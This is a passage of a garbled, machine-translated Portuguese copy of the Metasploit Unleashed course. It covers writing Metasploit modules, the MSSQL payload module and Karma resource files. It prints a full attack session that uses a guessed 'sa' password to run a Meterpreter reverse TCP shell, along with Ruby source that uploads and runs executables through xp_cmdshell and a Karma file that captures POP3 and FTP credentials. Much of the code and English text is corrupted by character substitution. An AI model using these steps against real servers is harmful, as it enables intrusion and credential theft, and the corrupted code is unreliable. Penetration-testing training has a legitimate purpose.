reli1Sfortress:,0entest,ex0loits,frame%or1A,li+,msf, ore,ex0loit[ ls ar1eia5r+ $e t> oa5r+ lor on!5r+ se.5r+5ut5r+ +ro%ser>auto0%n5r+ $ialu05r+ lor on5r+ sm+5r+ +rute5r+ e**.unter5r+ mixins5r+ smt0>$eli-er5r+ +rutetar*ets5r+ fileformat5r+ mssql> omman$s5r+ smt05r+

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

a0ture5r+ ft05r+ mssql5r+ snm05r+ $ er0 >e0m5r+ ft0ser-er5r+ n$m05r+ sunr0 5r+ $ er0 >lsa5r+ .tt05r+ ora le5r+ t 05r+ $ er0 >m*mt5r+ ima05r+ 0$f>0arse5r+ t 05r+5ut5r+ $ er0 5r+ i05r+ 0o0!5r+ tns5r+ $ er0 5r+5ut5r+ 1ernel>mo$e5r+ se.5r+ u$05r+ reli1Sfortress:,0entest,ex0loits,frame%or1A,li+,msf, ore,ex0loit[

2odemos ver vrias reas (ue poderiam ser 'teis para n/s, por eAemplo, 4 pr&protocolos, como o !icrosoft %HG %erver, )??2, ?*2, Oracle, @2*, "?2, %!P, %!?2, e muito mais. 3 uma ol ada no mss(l.rb e mss(l[commands.rb, esses dois sofreram algumas altera6es significativas por )3 !oore, eu e Operador 3ar$ recentemente, estamos adicionando um pouco de funcionalidade atravs de aspectos !%%HG. %e voc ol ar a partir de lin a de T=\ em mss(l.rb, esta a seo estaremos focando fortemente, l& lo e obter uma compreenso bsica como n/s estaremos cobrindo esta rea mais tarde. 8amos deiAar do n'cleo, e de cabea para os 1m/dulos1 de diret/rio, se adicionar (ual(uer novo ar(uivo a(ui, ele ir ser dinamicamente importados !etasploit para n/s. 8amos tentar um programa muito simples, v em frame#or$IDmodulesDauAiliar<DscannerDmss(l "aa um rpido 1i az[s(l.rb mss(l[ping.rb cp1 Edite o ar(uivo usando o rpido real nano ou vi e permite modific&lo ligeiramente, eu vou lev&lo atravs de cada lin a eo (ue ela significaL
TT T [;$: i.aI>sql5r+ H!=A !@@431!3@= !1:1A:1(] rel11 [ set for us %.en %e .e 1 in TT `333 automati ally *ets

TT T T.is file is 0art of t.e Metas0loit Lrame%or1 an$ may +e su+Ge t to `3333 li ensin* a*reementB 1ee0 stan$ar$ T re$istri+ution an$ ommer ial restri tions5 "lease see t.e Metas0loit T Lrame%or1 %e+ site for more information on li ensin* an$ terms of use5 T .tt0:,,metas0loit5 om,frame%or1, TT require 'msf, ore' `333 use t.e msf ore li+rary `3333 its *oin* to +e an auxiliary mo$ule

lass Metas0loitA ` Msf::Auxiliary

in lu$e Msf::'x0loit::Remote::MSS^L `33333 %e are usin* remote MSS^L ri*.tF in lu$e Msf::Auxiliary::S anner `33333333333 it use to +e a S^L s anner $ef initialiIe `3333 initialiIe t.e main se tion su0er( '<ame' ?2 '; HA] S^L &tility'B `3333333 name of t.e ex0loit 'Jersion' ?2 '[Re-ision: H!=A ['B `3333333 s-n num+er 'Ees ri0tion' ?2 'T.is Gust 0rints some funny stuff5'B `333333333333 $es ri0tion of t.e ex0loit 'Aut.or' ?2 'reli1'B `333 t.ats you +ro/

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'Li ense' ?2 MSL>L;D'<S' `3333 1ee0 stan$ar$ ) $ere*ister>o0tions('R"ORT'B 'RHOST') en$ `3333 $ont s0e ify R"ORT or RHOST

$ef run>.ost(i0) `333 $efine t.e main fun tion +e*in `333+e*in t.e fun tion 0uts "; HA] S^L////" `3333 0rint to s reen i .aI S^L/// en$ `333 lose en$ `3333 lose en$ `3333 lose

Agora (ue voc tem uma idia bsica do m/dulo, salvar esta +sem h&&&&&&, e vamos eAecut&lo em msfconsole.
msf 2 sear . i.aI 789 Sear .in* loa$e$ mo$ules for 0attern 'i.aI'555 Auxiliary ????????? <ame Ees ri0tion 3333 33333333333 s anner,mssql,i.aI>sql MSS^L "in* &tility msf 2 use s anner,mssql,i.aI>sql msf auxiliary(i.aI>sql) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* Require$ Ees ri0tion 3333 333333333333333 33333333 33333333333 H'K!B;<ARM ,0entest,ex0loits,frame%or1A,$ata,ex0loits,mssql,.!+ no T.e 0at. to t.e .ex!+inary s ri0t on t.e $is1 MSS^L>"ASS no T.e 0ass%or$ for t.e s0e ifie$ username MSS^L>&S'R sa no T.e username to aut.enti ate as RHOSTS yes T.e tar*et a$$ress ran*e or D;ER i$entifier THR'AES 1 yes T.e num+er of on urrent t.rea$s msf auxiliary(i.aI>sql) 2 set RHOSTS $oesntmatter RHOSTS ?2 $oesntmatter msf auxiliary(i.aI>sql) 2 ex0loit ; HA] S^L//// 789 S anne$ 1 of 1 .osts (1@@C 789 Auxiliary mo$ule exe ution om0lete) om0lete$

O sucesso do nosso m/dulo foi adicionado: Agora (ue temos uma compreenso bsica de como adicionar um m/dulo, vamos ol ar o m/dulo (ue eu escrevi na pr/Aima seo.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0a seo anterior voc viu o bsico da criao de um m/dulo, eu (ueria mostrar&l e este m/dulo para obter uma compreenso do (ue estamos prestes a construir. Este m/dulo permite (ue voc rapidamente entregar cargas !etasploit base atravs de servidores !icrosoft %HG. O actual c/digo funciona com =..., =..N e =..]. Essas pr/Aimas se6es primeiro andar voc atravs de como usar este vetor de ata(ue, e voc comear do zero na reconstruo de como eu era capaz de escrever esta carga +)3! e depois limpou meu c/digo,. 8amos primeiro dar uma ol ada em como o eAploit funciona. %e voc ler a seo de "ast&?rac$, 4 (ue voc iria perceber (ue algo semel ante acontece dentro de "ast&?rac$ tambm. Huando um administrador instala primeiro %HG %erver =..., =..N ou =..], se precisar de autenticao mista ou autenticao baseada em %HG, (ue tem de especificar uma sen a para o sa 1famigerada1 conta. A %A 1 a conta de administrador de sistemas para servidores baseado em %HG e tem uma tonelada de permiss6es no sistema em si. %e voc pode de alguma forma adivin ar a sen a de 1sa1, ento voc pode alavancar vetores de ata(ue atravs !etasploit para eAecutar ata(ues adicionais. %e voc ol ou para alguns dos cap5tulos anteriores, voc viu como os servidores %HG descoberta atravs da porta 932 T-I-, bem como realizar dicionrio baseado em ata(ues de fora bruta contra endereos E2 a fim de adivin ar o sa 1%HG1 conta. 3e agora em diante, vamos assumir (ue voc 4 sabe a sen a para o servidor !%%HG e (ue voc est pronto para entregar sua carga para o sistema operacional sub4acente e no use "ast&?rac$. 8amos lanar o ata(ueL
` metas0loit 333333333333 U B>>B U (oo)>>>> (>>) )U YY33YY 8 ?7 metas0loit -A5=3$e- 7 ore:A5= a0i:15@9 Q 33 33?7 =(A ex0loits 3 !16 auxiliary Q 33 33?7 14! 0ayloa$s 3 !! en o$ers 3 6 no0s ?7 s-n rH)4@ u0$ate$ to$ay (!@@451!5@=) msf 2 use %in$o%s,mssql,mssql>0ayloa$ msf ex0loit(mssql>0ayloa$) 2 set 0ayloa$ %in$o%s,meter0reter,re-erse>t 0 0ayloa$ ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(mssql>0ayloa$) 2 set LHOST 1@51@5151@A LHOST ?2 1@51@5151@A msf ex0loit(mssql>0ayloa$) 2 set RHOST 1H!51)51(A51!4 RHOST ?2 1H!51)51(A51!4 msf ex0loit(mssql>0ayloa$) 2 set L"ORT 6@6@ L"ORT ?2 6@6@ msf ex0loit(mssql>0ayloa$) 2 set MSS^L>"ASS i.aI0ass%or$ MSS^L>"ASS ?2 i.aI0ass%or$ msf ex0loit(mssql>0ayloa$) 2 ex0loit 789 Starte$ re-erse .an$ler on 0ort 6@6@ 789 #arnin*: T.is mo$ule %ill lea-e ^iRMOl&X5exe in t.e S^L Ser-er CT'M"C $ire tory 789 #ritin* t.e $e+u*5 om loa$er to t.e $is1555 789 Don-ertin* t.e $e+u* s ri0t to an exe uta+le555 789 &0loa$in* t.e 0ayloa$B 0lease +e 0atient555 789 Don-ertin* t.e en o$e$ 0ayloa$555

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 'xe utin* t.e 0ayloa$555 789 Sen$in* sta*e (H14A)@ +ytes) 789 Meter0reter session 1 o0ene$ (1@51@5151@A:6@6@ 32 1@51@5151@A:=HA6=) meter0reter 2 exe ute 3f m$5exe 3i "ro ess AH=@ reate$5 D.annel 1 reate$5 Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

Estaremos de ol o em trs diferentes ar(uivos, eles devem ser relativamente familar das se6es anteriores. frame#or$IDlibDmsfDcoreDeAploitDmss(l[commands.rb frame#or$IDlibDmsfDcoreDeAploitDmss(l.rb frame#or$IDmodulesDeAploitsD#indo#sDmss(lDmss(l[pa<load.rb 9ma coisa a ressalva (ue eu no preciso colocar comandos diferentes em trs diferentes ar(uivos no entanto, se voc pensar no futuro voc pode (uerer a reutilizao de c/digo e colocar as parcelas em eA=binar< mss(l.rb fez mais sentido, mais )3! um defensor para o c/digo bonita +te amo amigo,. 8amos primeiro dar uma ol ada no mss(l[pa<load.rb para ter uma idia do (ue estamos vendo a(ui.
TT T [;$: mssql>0ayloa$5r+ H!A) !@@431@3!A 14:1(:A!] .$m [ TT TT T T.is file is 0art of t.e Metas0loit Lrame%or1 an$ may +e su+Ge t to T re$istri+ution an$ ommer ial restri tions5 "lease see t.e Metas0loit T Lrame%or1 %e+ site for more information on li ensin* an$ terms of use5 T .tt0:,,metas0loit5 om,frame%or1, TT require 'msf, ore' lass Metas0loitA ` Msf::'x0loit::Remote in lu$e Msf::'x0loit::Remote::MSS^L $ef initialiIe(info ? W\) su0er(u0$ate>info(infoB '<ame' ?2 'Mi rosoft S^L Ser-er "ayloa$ 'xe ution'B 'Ees ri0tion' ?2 CqW T.is mo$ule %ill exe ute an ar+itrary 0ayloa$ on a Mi rosoft S^L Ser-erB usin* t.e #in$o%s $e+u*5 om met.o$ for %ritin* an exe uta+le to $is1 an$ t.e x0> m$s.ell store$ 0ro e$ure5 Lile siIe restri tions are a-oi$e$ +y in or0oratin* t.e $e+u* +y0ass met.o$ 0resente$ at Eef on 1H +y Se ureState5 <ote t.at t.is mo$ule %ill lea-e a metas0loit 0ayloa$ in t.e #in$o%s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

SystemA! $ire tory %.i . must +e manually $elete$ on e t.e atta 1 is om0lete$5 \B 'Aut.or' ?2 7 'Ea-i$ Xenne$y "ReL1X" 'Li ense' ?2 MSL>L;D'<S'B 'Jersion' ?2 '[Re-ision: H!A) ['B 'Referen es' ?2 7 7 'OSJEB'B '((H'9B 7 'DJ''B '!@@@3@=@!'9B 7 'B;E'B '1!61'9B 7 '&RL'B '.tt0:,,%%%5t.e0entest5 om,0resentations,LastTra 1>S.mooDon!@@450$f'9B 9B '"latform' ?2 '%in'B 'Tar*ets' ?2 7 7 'Automati 'B W \ 9B 9B 'EefaultTar*et' ?2 @ )) en$ $ef ex0loit $e+u* ? false T ena+le to see t.e out0ut if(not mssql>lo*in>$atastore) 0rint>status(";n-ali$ S^L Ser-er return en$ re$entials")

mssql>u0loa$>exe (Msf::&til::'K'5to>%inA!0e(frame%or1B0ayloa$5en o$e$)B $e+u*) .an$ler $is onne t en$

En(uanto isto pode parecer eAtremamente simples e no um monte de c/digo, no realmente um monte de coisas (ue esto acontecendo nos bastidores (ue n/s vamos investigar mais tarde. 8amos (uebrar este ar(uivo agora. %e voc ol ar para a metade de cima, tudo deve parecer relativamente o mesmo direitoR %e voc ol ar a seo de referncias, esta rea simplesmente para obter informa6es adicionais sobre o ata(ue ou eAplorar vetor original. A plataforma de 1gan ar1 especifica as plataformas Bindo#s e metas apenas uma seo, se (uisssemos adicionar sistemas operacionais ou, neste eAemplo, se tivssemos de fazer algo diferente com base fora do servidor %HG, poder5amos acrescentar %HG %erver =..., %HG =..N, e %HG %erver =..]. O 3efault?arget nos permite especificar um padro para este ata(ue, portanto, se n/s usamos %HG %erver =..., %HG %erver =..N e %HG =..], poderia t&lo padro para =..N, as pessoas podem mud&lo atravs do ?A@OE? %E? T = I, mas se eles no =..N seria o sistema de atacado. !ovendo&se para a def 1eAplorar1 isso comea o nosso c/digo para a sua eAplorao efectiva, uma coisa a nota acima, se voc ol ar na parte superior, foram inclu5dos 1!%"L EAploitLL @emoteL !%%HG1 isso vai incluir uma variedade de itens (ue podemos c amar da EAploit, @emote, e por6es !%%HG. Especificamente estamos c amando de a mss(l.rb no lib D msf D core D rea de eAploits.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A depurao de primeira lin a V false especifica se devem retratar as informa6es de volta para voc ou no, normalmente no (ueremos isso e no necessrio, e seria um pouco de informao retratada volta para o usurio !etasploit. %e algo no estiver funcionando, basta alterar este debug V true e voc ver tudo o (ue est fazendo !etasploit. 2assando para a pr/Aima lin a, esta a parte mais compleAa de todo o ata(ue. Este forro realmente um a(ui vrias lin as de c/digo (ue est sendo puAado mss(l.rb. 0/s vamos entrar em um presente em um segundo, mas para eAplicar o (ue est realmente lL mss(l[upload[eAec +funo definida em mss(l.rb para fazer upload de um ar(uivo eAecutvel atravs de %HG para o sistema operacional sub4acente, !%"LL 9tilLL ECE.to[#inI=pe +(uadro, pa<load.encoded, V criar um metasploit carga baseado fora do (ue voc especificou, torn&lo um eAecutvel e codific&lo com o padro de codificao debug V c amar a funo de depurao ativado ou desativadoR 2or fim, o manipulador ir lidar com as coneA6es da carga 'til no fundo para (ue possamos aceitar uma carga metasploit. A desconeAo parte do c/digo deiAa a coneAo do servidor !%%HG. Agora (ue temos andado por essa parte, vamos (uebrar a seo seguinte na mss(l.rb para descobrir eAatamente o (ue este ata(ue foi feito. 8amos ol ar para o frame#or$IDlibDmsfDcoreDeAploits D e usar o seu editor favorito e edite o ar(uivo mss(l.rb. "aa uma busca por 1mss(l[upload[eAec +# controle1 para nano e D para a 8E,. 8oc deve estar vendo o seguinteL
T T &0loa$ an$ exe ute a #in$o%s +inary t.rou*. MSS^L queries T $ef mssql>u0loa$>exe (exeB $e+u*?false) .ex ? exe5un0a 1("H8")7@9 -ar>+y0ass ? ran$>text>al0.a(6) -ar>0ayloa$ ? ran$>text>al0.a(6) 0rint>status("#arnin*: T.is mo$ule %ill lea-e TW-ar>0ayloa$\5exe in t.e S^L Ser-er CT'M"C $ire tory") 0rint>status("#ritin* t.e $e+u*5 om loa$er to t.e $is1555") .!+ ? Lile5rea$($atastore7'H'K!B;<ARM'9B Lile5siIe($atastore7'H'K!B;<ARM'9)) .!+5*su+/(,Xemne'A<,B "CT'M"CUUTW-ar>+y0ass\") .!+5s0lit(,Un,)5ea . $o YlineY mssql>x0 m$s.ell("TWline\"B false) en$ 0rint>status("Don-ertin* t.e $e+u* s ri0t to an exe uta+le555") mssql>x0 m$s.ell(" m$5exe , $ CT'M"C bb $ CT'M"C bb $e+u* ` CT'M" CUUTW-ar>+y0ass\"B $e+u*) mssql>x0 m$s.ell(" m$5exe , mo-e CT'M"CUUTW-ar>+y0ass\5+in CT'M" CUUTW-ar>+y0ass\5exe"B $e+u*)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0rint>status("&0loa$in* t.e 0ayloa$B 0lease +e 0atient555") i$x ? @ nt ? (@@ %.ile(i$x ` .ex5len*t. 3 1) mssql>x0 m$s.ell(" m$5exe , e .o TW.ex7i$xB nt9\22CT'M"CUUTW-ar>0ayloa$\"B false) i$x Q? nt en$ 0rint>status("Don-ertin* t.e en o$e$ 0ayloa$555") mssql>x0 m$s.ell("CT'M"CUUTW-ar>+y0ass\5exe CT'M"CUUTW-ar>0ayloa$\"B $e+u*) mssql>x0 m$s.ell(" m$5exe , $el CT'M"CUUTW-ar>+y0ass\5exe"B $e+u*) mssql>x0 m$s.ell(" m$5exe , $el CT'M"CUUTW-ar>0ayloa$\"B $e+u*) 0rint>status("'xe utin* t.e 0ayloa$555") mssql>x0 m$s.ell("CT'M"CUUTW-ar>0ayloa$\5exe"B falseB W:timeout ?2 1\) en$

A def mss(l[upload[eAec +eAe, debug V false, re(uer dois parFmetros e define o debug como false por padro, salvo indicao em contrrio. O eA V eAe.unpac$ +1) M1, i.j de cerca @ub< Uung&"ue< (ue leva nosso eAecutvel gerado e magicamente transforma&lo em eAadecimal para n/s. var[b<pass V rand[teAt[alp a var[pa<load +], e V rand[teAt[alp a +], cria duas variveis com um con4unto aleat/rio de ] caracteres alfa, por eAemploL 2oGecZeC O print[status deve ser sempre usado dentro !etasploit, )3 no aceitar coloca mais: %e voc notar (ue um par coisas diferentes para mim vs p<t on, no print[status voc ver 1d +, var[pa<load. EAe esta subsititues o var[pa<load varivel na mensagem print[status, assim voc iria ver essencialmente retratado bac$1 2oGecZeC.eAe 1 2assando,j )EC=PE0A@^ o )=P idatastore "ile.read V +KK, "ile.size idatastore )EC=PE0A@^ iKj,, vai ler o (ue (uer (ue o ar(uivo especificado no )EC=PE0A@^ 1armazenamento de dados, se voc ol ar (uando disparou a eAplorao, ele estava dizendo 1)=P1, este ar(uivo est localizado em dataDeAploitsDmss(lD =b, este um ar(uivo (ue eu tin a criado (ue um formato espec5fico para 4anelas de depurao (ue essencialmente um b<pass simples para remover as restri6es 7 limite de taman o. 2rimeiro enviar esse eAecutvel, 4anelas de depurao converte&lo para um binrio para n/s, e ento enviar a carga metasploit o nosso convite e convertido eAecutvel antes de converter o nosso ar(uivo metasploit. O =b.gsuc: +D UemneEI0 D 1,k ?E!2k a a d var[b<pass +,1, simplesmente substituindo um nome codificado com a dinFmica (ue criamos acima, se voc ol ar para o ar(uivo )=P, UemneEI0 c amado em vrias ocasi6es e (ueremos criar um nome ao acaso para ofuscar as coisas um pouco mel or. O gsub apenas substitui o codificado com o acaso. O =b.split +D a n D,. *ada um fazer a lin a J J ir iniciar um ciclo para n/s e dividir o ar(uivo )=P volumosos em vrias lin as, sendo motivo (ue no podemos enviar o grosso todo o ar(uivo mais uma vez, temos para enviar&l e um pouco de cada vez (ue o protocolo !%%HG no permitem transferncias muito grande atravs de instru6es %HG. 2or 'ltimo, o mss(l[Apcmds ell +1d +lin a,1, false, envia a carga inicial stager lin a por lin a, en(uanto o falso especifica debug como false e no enviar as informa6es de volta para n/s. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Os pr/Aimos passos converter nosso )=P ar(uivo binrio para n/s utilizando o Bindo#s depurar, estamos utilizando o diret/riok ?E!2k para mais confiabilidade. O procedimento mss(l[Apcmds ell strored est permitindo (ue (ue isso ocorra. O idA V . servidor ser como um contador para n/s vamos saber (uando o taman o do fic eiro ten a sido atingido, eo cnt V N.. especifica (uantos caracteres estamos enviando ao mesmo tempo. A pr/Aima lin a envia nossa carga para um novo ar(uivo de N.. caracteres por vez, aumentando o idA contador e assegurar (ue idA ainda menor do (ue o blob eA.lengt . 9ma vez (ue ten a sido terminado os 'ltimos passos converter a nossa carga metasploit volta para um ar(uivo eAecutvel, usando o nosso pa<load anteriormente encenou em seguida, eAecut&loT dando&nos a nossa carga: Q isso: 9fa. 0esta lio voc camin ou atravs da criao de um vetor de ata(ue global e tem mais familiarizados com o (ue se passa por detrs das cortinas. %e o seu pensamento sobre a criao de um novo m/dulo, ol e ao redor no geralmente algo (ue voc pode usar como base para o a4udar a cri&lo. Esperamos no perder voc neste. Antes de terminar este cap5tulo dar uma espiada no lib D msf D core D eAplorar e modificar o mss(l[commands.rb, a(ui voc vai ver uma lista detal ada de comandos (ue me !%%HG e Operador 3ar$ tm vindo a construir um pou(uin o agora. Alm disso voc pode comear a criar seus pr/prios m/dulos fora desta, se voc (ueria:

2&ossar:
Mo#u&es
!/dulos mostram uma grande versatilidade (ue l e permite selecionar apenas os componentes (ue voc precisa. Esta interface modular eAtremamente fcil de usar, uma vez (ue voc est acostumado a ela. 3eiAa passar e definir os vrios componentes. EAploits M 3efine (ue os ata(ues (ue voc dese4a usar. M *onfigurado atravs de diversas op6es (ue so definidos antes (ue ele possa ser utilizado. M EAploits fazer uso de cargas. EAploits M sem cargas so definidos como m/dulos auAiliares. *argas, Encoders, 0AP% M *argas so o c/digo (ue dese4a eAecutar remotamente no sistema de destino. *argas M so eAecutados atravs de um codificador para garantir (ue no ocorram erros de transmisso. M 0ops manter os taman os de cargas consistente.
T ; Offensive %ecurit< =..>

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

AuAiliar M %canners, %ervidores, e 1outros1 no eAplorar m/dulos. M "uzzers contm vrios m/dulos e negao de servio.

Resource Fi&es
9m resource files simplesmente uma lin a de teAto separados ar(uivo contendo uma se(Sncia de comandos a serem eAecutados em msfconsole. 9m dos ar(uivos de recurso mais notvel o ar(uivo Uarmetasploit K$arma.rc. 8amos dar uma breve ol ada dentro deste ar(uivo para ter uma idia do conte'do de um resource files
loa$ $+>sqliteA $+> reate ,root,1arma5$+ use auxiliary,ser-er,+ro%ser>auto0%n set* A&TO"#<>HOST 1@5@5@51 set* A&TO"#<>"ORT ((((@ set* A&TO"#<>&R; ,a$s set set set set run LHOST 1@5@5@51 L"ORT =(@@@ SRJ"ORT ((((@ &R;"ATH ,a$s

use auxiliary,ser-er, a0ture,0o0A set SRJ"ORT 11@ set SSL false run use auxiliary,ser-er, a0ture,0o0A set SRJ"ORT 44( set SSL true run use auxiliary,ser-er, a0ture,ft0 run

. *omo voc pode ver, passar um ar(uivo de recurso para !etasploit permite uma grande dose de automao. 8oc pode a4ustar (ual(uer opo e usar (ual(uer m/dulo no !etasploit usando um ar(uivo de recursos e os comandos sero todos eAecutados em se(uncia. EAistem dois mtodos para carregar ar(uivos de recurso no !etasploit. Eles podem ser passados como uma opo para msfconsole na lin a de comando usando o KrK s#itc ou voc pode carreg&los de dentro msfconsole usando o recurso KcomandoK.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole 3r 1arma5r > Y Y o > > > > >Y> >>B B > Y Y >> >Y> , Y, Y, Y Y, Y , Y , >Y, >Y, , >Y Y Y Y Y>,Y>>,Y>,>,Y>, , Y>>, Y>>,>>, Y>,Y>, ,Y Y ?7 msf -A5A3$eQ 33 33?7 AH! ex0loits 3 !A= 0ayloa$s Q 33 33?7 !@ en o$ers 3 H no0s ?7 1=4 aux resour e2 loa$ $+>sqliteA msf 2 resour e 1arma5r resour e2 loa$ $+>sqliteA 739 739 T.e fun tionality 0re-iously 0ro-i$e$ +y t.is 0lu*in .as +een 739 inte*rate$ into t.e ore omman$ set5 &se t.e ne% '$+>$ri-er' 739 omman$ to use a $ata+ase $ri-er ot.er t.an sqliteA (%.i . 739 is no% t.e $efault)5 All of t.e ol$ omman$s are t.e same5 739 739 Laile$ to loa$ 0lu*in from ,0entest,ex0loits,frame%or1A,0lu*ins,$+>sqliteA: Ee0re ate$ 0lu*in resour e2 $+> reate ,root,1arma5$+ 789 T.e s0e ifie$ $ata+ase alrea$y existsB onne tin* 789 Su essfully onne te$ to t.e $ata+ase 789 Lile: ,root,1arma5$+

More A.out Pa:&oa#s


3evido ao grande n'mero de eAplora6es atualmente dispon5veis na !etasploit, uma c ance muito boa (ue 4 eAiste um m/dulo (ue voc pode simplesmente editar para seus pr/prios fins eAplorar durante o desenvolvimento. 2ara tornar mais fcil eAplorar o desenvolvimento, !etasploit inclui um eAemplo de eAploit (ue voc pode modificar. 8oc pode encontr&lo em Kdocumentation D samples D modules D eAploits DK. !etasploit contm diversos tipos de cargas, cada um servindo um papel 'nico no (uadro. 8amos dar uma breve ol ada em vrios tipos de cargas dispon5veis e ter uma ideia de (uando cada tipo deve ser usado. M Enline +no encenado, o A carga 'nica com a eAplorao e c/digo s ell completa para a tarefa selecionada. Enline cargas so de design mais estvel do (ue suas contrapartes por(ue contm tudo em um. 0o entanto, alguns eAploits vai suportar o taman o da resultante dessas cargas. M Encenado ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

M %tager cargas de trabal o em con4unto com cargas estgio, a fim de realizar uma tarefa espec5fica. A stager estabelece um canal de comunicao entre o atacante ea v5tima e l em uma fase de carga para eAecutar no ost remoto. M !eterpreter o !eterpreter, a forma abreviada de !eta&intrprete uma carga, avanado multi&facetada, (ue opera atravs da in4eo de dll. O !eterpreter reside inteiramente na mem/ria do ost remoto e no deiAa vest5gios no disco r5gido, tornando&se muito dif5cil de detectar com tcnicas convencionais forense. %cripts e plugins podem ser carregados e descarregados dinamicamente conforme necessrio e desenvolvimento !eterpreter muito forte e em constante evoluo. M 2assiveC o 2assiveC uma carga (ue pode a4udar a contornar fire#alls restritivos de sa5da. Ele faz isso usando um controle ActiveC para criar uma instFncia escondidos do Enternet EAplorer. 9sando o novo controle ActiveC, ele se comunica com o atacante por meio de solicita6es e respostas )??2. M 0o0C o O 0C +0o eCecute, bit uma caracter5stica constru5da em algumas *29s para evitar c/digo de eAecuo em determinadas reas da mem/ria. 0o Bindo#s, o 0C implementado como 3ata EAecution 2revention +3E2,. As cargas o !etasploit 0o0C so pro4etados para contornar 3E2. M Ord cargas so o Ordinal Bindo#s stager cargas baseadas (ue tm vantagens e desvantagens distintas. As vantagens de ser ele funciona em todos os sabores e idioma do Bindo#s (ue remonta ao Bindo#s >A sem a definio eApl5cita de um endereo de retorno. Eles tambm so eAtremamente pe(uenas. 0o entanto o duas desvantagens muito espec5ficas torn&los no a escol a do padro. O primeiro (ue se baseia no fato de (ue #s=[I=.dll carregado no processo a ser eAplorado antes da eAplorao. A segunda, (ue um pouco menos estvel (ue o stagers outros. M E2v\ As cargas !etasploit o E2v\, como o nome indica, so constru5dos para funcionar via E2v\ redes. M En4eo de 3GG @efleAiva o refleAiva 3GG En4ection uma tcnica pela (ual uma carga fase in4etado em um processo de ost comprometido em eAecuo na mem/ria, nunca tocar no ost de disco r5gido. A 80* e cargas !eterpreter ambos fazem uso de in4eo de 3GG refleAivo. o 8oc pode ler mais sobre a in4eo de 3GG refleAo a partir do criador do mtodo em ttpLDD###. armon<securit<.comDblogD=..]DT.Dne#&paper&reflective&dll&in4ection. tml Esse material foi traduzido para a4udar as pessoas a entenderem o funcionamento do !etasploit "rame#or$, como o conte'do do curso no idioma ingls resolvi traduzi&lo para (ue todos possam ter a oportunidade de acompan ar o material disponibilizado pela Offensive %ecurit<, o tradutor (ue foi utilizado foi o do Ooogle o (ue mel or conseguiu c egar em concordFncias, caso encontre alguma palavra de dif5cil entendimento peo (ue por gentileza modifi(ue, bom estudo: Lin5 O0icia& #o 4urso ttpLDD###.offensive&securit<.comDmetasploit&unleas edD Att, @afael ?orres rafaeltorresblinuAmail.org T%itter [rafaeltorres[ ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Você também pode gostar